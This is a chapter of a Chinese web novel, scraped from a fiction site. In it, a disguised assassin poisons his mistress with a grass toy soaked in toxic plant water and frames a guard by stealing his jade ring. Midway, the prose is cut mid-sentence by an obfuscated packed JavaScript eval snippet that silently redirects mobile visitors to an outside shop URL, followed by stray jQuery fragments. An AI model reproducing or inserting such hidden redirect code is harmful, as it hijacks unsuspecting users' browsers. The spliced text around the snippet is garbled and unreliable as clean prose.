文趣网 > 其他小说 > 供秋心 > 22.第二十二章 花毒(一)
    那玉扳指便是花荇丢了的家传之物。

    仲孙慎之位高权重,官职到底越过闻裁月一头去,她自是不能去逼问仪鸾司提点那东西的来处,只得用简单直接的法子。

    买下来。

    她盈盈立于门口,晚风鼓动袍袖,笑道:“这扳指合下官眼缘,不知大人能否将它卖给我?价钱随便您开,多少钱下官都买。”

    仲孙慎之含笑看了她一会儿,干脆利落拒绝,“抱歉,不能卖。”

    “这扳指是相赠之人的家传物,他虽是下人,但本官既然收了,其中的意思,想来也不必再与闻大人说明了。”

    相赠之人有事相求。

    仲孙慎之收了,便是应允了的意思。

    闻裁月本不欲疑心花荇,却想不到仲孙慎之骗她的缘由,脑中难得有些空白,翻来覆去地,只有这样一个念头。

    他送的。

    他说假话诓骗她,贼喊捉贼。

    可……怎会是花荇自己送的?

    ***

    夏雨过后,又是一连数日的暴晒。

    闻府中虽遍植草木,小路与游廊之间处处有荫,仍难抵御流火过境,自窗中向外看时,只觉层层热浪上涌,那地砖和草木都被晒弯了一般。

    褚观棋把桌上的几块碎银抛了抛,收进怀里。

    他琢磨了下这天气,决定晚上再离府。

    第七分舵平日里大抵是真穷到掉底了,南木那几个小崽子见他这里真有油水可捞,竟还没完没了上了。

    为了堵这帮人的嘴,他所有的积蓄都快搭进去了。

    自打前两日铤而走险顺走了花荇的玉扳指交给仲孙慎之,府上人人都精明起来,将把自己的财物看得越发紧,不似之前那么好小偷小摸了。

    午后安静,褚观棋晃悠出去,在廊下寻了个阴凉的地方一歪,又自腰后摸出把扇子胡乱打了两下。

    日光下,新荷滴翠,热风送香。

    他猫儿似的长长出了口气,眯着眼睛,分外惬意。

    哪里都是安全的,不必担忧从何处突然冒出个人来,把冰森森的兵刃横上他的脖子,逼迫他做些什么。

    过去十九年总在喊打喊杀。

    褚观棋从未有过如此像个少年人的时刻。

    他乘着凉,忽而漫然想道,若是没有刺杀维新一派的任务在身,也许就这样一生一世在闻府上做个寻常小厮、执卫一类的活计,倒也不错。

    这样的日子过着多舒服。

    直到花荇与顾盼自远处走来。

    褚观棋骤然惊醒,手掌在身下一撑,人就轻飘飘翻了下去,闪进他们视野之中的盲区。

    两人越走越近,忽听顾盼这大嗓门结结巴巴说道:“见、见了鬼的天气,热得人天天晚间都睡不好觉。女公子昨夜也是在床上翻来覆去,头风又发起来,大夫呢,尽只会说那些没用的废话,又治不好。”

    怪不得这两日都不怎么见闻裁月出门。

    褚观棋略微蹙了蹙眉头。

    花荇自他藏身的柱子后经过,褚观棋顺势向旁边一躲,从后面瞧着这两人的背影。

    只听花荇说道:“大夫既然说了行气散寒、祛风止痛,便更不能在女公子房中放冰,你和苏叶就辛苦些,夜间多替她打打扇子。这样熬着,她身体吃不消的。”

    顾盼应了,“是,应当的,花执卫放心。”

    直至他们转过了游廊拐角处,褚观棋才又露出脸,回到自己方才的位置重新拿起扇子,大力挥了几下。

    人是回来了,心境却怎么都恢复不了方才的样子。

    他想起那只被闻裁月拿回去摆在床头藤柜上的草蚂蚱。

    几日过去,碧草褪色,早变得黄绿斑驳,她却还没丢掉,仍在闺房之中那样摆着。

    他是刺客,一举一动均经过深思熟虑,自是没有白费的功夫。

    那编制的碧草看来平平无奇,实则早被他用闷头花水泡过好几个时辰,是刻意摆在那里,等着闻裁月与郭抱香过来瞧的。

    闷头花本就性峻气恶,用它的根叶煮水,连鱼和虫都杀得死,闻裁月宝贝似的把那玩意儿摆入房中,天天在床头这样熏着,几日下来,自然会耳中蝉鸣,头重如裹。

    她睡不着就对了。

    光睡不着哪够?他还要闻裁月日后颠三倒四,记忆衰减,一病不起,放弃继续维新一派的事宜呢。

    这才哪儿到哪儿呀。

    用药如用兵,用医如用将,恰好他医经兵法,两样都十分精通。

    闻裁月那日也说了,“——真是心灵手巧。”

    “这只做得精巧,我拿回去放着了。”

    全无防备,不知道自己拿回去的是个草木毒虫。

    褚观棋原本闭着眼扇风,想到闻裁月的脸,动作忽而一顿,扇子便重重敲在了心口。

    有点疼,他轻轻地吸了一口气。

    傍晚时天气总算凉了些,褚观棋没胃口,趁着仆从们都聚在院中,又一个人偷溜出去打发那几个缠人的小崽子。

    出门之前,他还刻意去花荇面前晃悠了一圈,见他瞪自己,这才走了。

    与南木相约的地方在城南,伪造出要掩人耳目的假象。

    此处虽不及城北热闹,但行人亦不少,褚观棋四处闲逛了会,觉着累了,便在沈府侧门附近坐下,专注地瞧着一个叫晚风打的滴溜溜转的红灯笼。

    花荇这次会不会跟上来呢。

    他托着腮,眼睛跟着那灯转来转去。

    也说不上究竟等了多久,一个万万不该在此处响起的声音拉回了他的思绪。

    “……别等了,他们以后都不会来了。”

    褚观棋听见,倏然回眸。

    闻裁月正立在人群的最熙攘处,似是出来的也有些着急,身前竟没一个人跟着,妆扮亦十分随意,鬓发松松挽了个髻,翠白相间的衫带软而滑,几乎垂坠着拖在地上。

    褚观棋被那红灯晃花了眼,眼前始终是个青绿色的光点。

    他摇了摇脑袋,闻裁月已经走上前来,对他柔声说道:“观棋,那几个人我替你赶走了,以后他们不会再出现在曜都,更不会再来烦你。我早说过,你来了闻府,我自会护着你,你不必怕。”

    闻裁月怎么会出来,又怎么会知道。

    午间花荇他们不是才说过,她最近头疼闹得厉害么。

    褚观棋不适地抿了抿嘴,并未抬头,只觉得自己满脸烧得厉害,比划着问道:“女公子怎么在这儿?”

    闻裁月见他脸红,只以为他是羞愧,便道:“没事,我自己一个出来的,没其他人。”

    她伸手拉了下褚观棋的袖子,面上持重,对他说道:“我们先回去。”

    两人一前一后地上了桥,时值盛夏,河水两岸满

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732349|207738||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是嬉闹着跑来跑去的小孩儿。

    万丈红尘灯影,终于将闻裁月那张冷白面目渡上了些血色。

    她表情也显得柔和起来:“我自作主张帮你做事,还望你不要怪我。”

    褚观棋摇了摇脑袋。

    闻裁月侧头看他一眼,步伐慢了些,又道:“近些日子我瞧你心神不宁,人又时时地向府外跑,便猜你该是遇到了什么难缠的事情,刚好当铺的老板与我认识,认得那珍珠的来处。那几个少年是曾经欺负你的人么?怎么不同我求救呢?”

    褚观棋提起嘴角,努力笑了笑,上前两步,与闻裁月并肩走着,动作加快了些,表达道:“可是女公子,是我偷了花执卫的发带,是我偷了那些碎银,也是我……”

    “我知道。”

    闻裁月轻声,“发带、碎银都是你拿的,没关系。还记得么?当日你于下士族寒地搭救了我,将我一路送回曜都,我还欠了你五百两。至于花荇丢的那东西,我已经找到了。”

    褚观棋屏息问道,在哪里。

    闻裁月摇了摇头,笑着含糊过去,“……不重要,还是先说你的事情罢。”

    明修栈道,暗度陈仓。

    如今,分明所有事情都在向着他的预料发展。

    他编了毒草蚂蚱送进闻裁月房中,叫她头痛耳鸣,旧疾复发,又偷盗花荇的财物交给仲孙慎之,叫闻裁月疑心花荇是否因士族之差而向复旧派求助。

    疑心生暗鬼,哪怕能令他们之间的情谊松动半分也是好的。

    每一件他都做到了。

    唯一的变数出在闻裁月身上。

    他将发带上的珍珠交给南木几人,知晓他们定然要去当铺换钱,又刻意叫花荇看见他们几人的脸,本欲借花荇之手把南木几人彻底赶走。

    可为什么来的是她?

    褚观棋心口一阵难言的酸软,逐渐又转为滞涩,很艰难地比道:“女公子为什么要帮我?”

    闻裁月的语气很温柔:“你很可怜,你需要我。”

    什么。

    褚观棋眼睫一颤,倏地涌上一股被人摊开羞辱的怒意,又是气急,又是不服,心跳却笃笃笃地在胸腔作乱,搅和得他不得安生,只能强自压抑着,跟在闻裁月身边继续走。

    他何曾需要过任何人,十二辰中又有几个强过他的。

    一个女人,不过一个女人。

    褚观棋自幼受的教育便是男子为天女为地,若不是任务在身,他根本无需在闻裁月一个女子身前摇尾乞怜。

    遑论被她拯救。

    他暗暗闭眼,被气得太阳穴钝痛,好似中了闷头花毒的人是他自己,而说话的人却轻描淡写,多情且无情,只是继续揣袖走着。

    褚观棋默默看着闻裁月,目光反复描摹,心思又逐渐随着她侧面的弧度飘飞到了不知何地。

    原来她也是会为了旁人操劳、动心思的。

    原来不只是花荇。

    他也可以。

    怒气渐渐聚拢收压,褚观棋心头那只龇牙咧嘴的野猫终于累了,原地转了两圈,忽地侧头栽倒在地,尾巴尖扫来扫去。

    以正合,以奇胜。

    褚观棋忽而分辨不清自己究竟是兵法之中的奇兵,还是那个反被奇兵制服的败将,但也不大重要了。

    只要闻裁月能够多看他一眼。

    他就觉着,很欢喜。